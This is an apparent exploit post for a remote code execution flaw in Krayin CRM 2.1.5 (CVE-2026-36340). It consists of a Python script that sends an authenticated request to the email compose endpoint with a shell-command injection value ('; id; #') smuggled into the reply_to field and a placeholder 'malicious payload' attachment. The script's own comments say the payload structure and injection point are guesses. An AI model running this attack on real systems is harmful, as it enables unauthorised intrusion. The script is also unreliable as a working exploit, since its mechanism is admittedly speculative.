CVE-2026-36340 Krayin CRM远程代码执行漏洞

import requests # Exploit Title: Krayin CRM 2.1.5 - RCE via Compose Email # Date: 2026-04-30 # Exploit Author: Analyst # Vendor Homepage: https://krayincrm.com/ # Software Link: https://github.com/krayin/laravel-crm/releases/tag/v2.1.5 # Version: 2.1.5 # Tested on: Linux/Unix def exploit(target_url, session_cookie): """ Exploits the RCE vulnerability in the compose email function. Requires a valid authenticated session (PR:L). """ headers = { "Cookie": f"laravel_session={session_cookie}", "User-Agent": "Mozilla/5.0 (Exploit)", "Content-Type": "application/json" } # Malicious payload targeting the email compose endpoint # This payload attempts to execute a shell command (e.g., whoami) # The exact JSON structure depends on the API implementation payload = { "subject": "Test Subject", "content": "Test Content", "reply_to": "; id; #", # Potential injection point "attachments": ["恶意载荷"] } # Note: In a real scenario, the payload would be serialized or specifically # crafted to trigger the backend vulnerability (e.g., PHAR deserialization). url = f"{target_url}/admin/mail/compose" try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8000" session = "valid_session_token_here" exploit(target, session)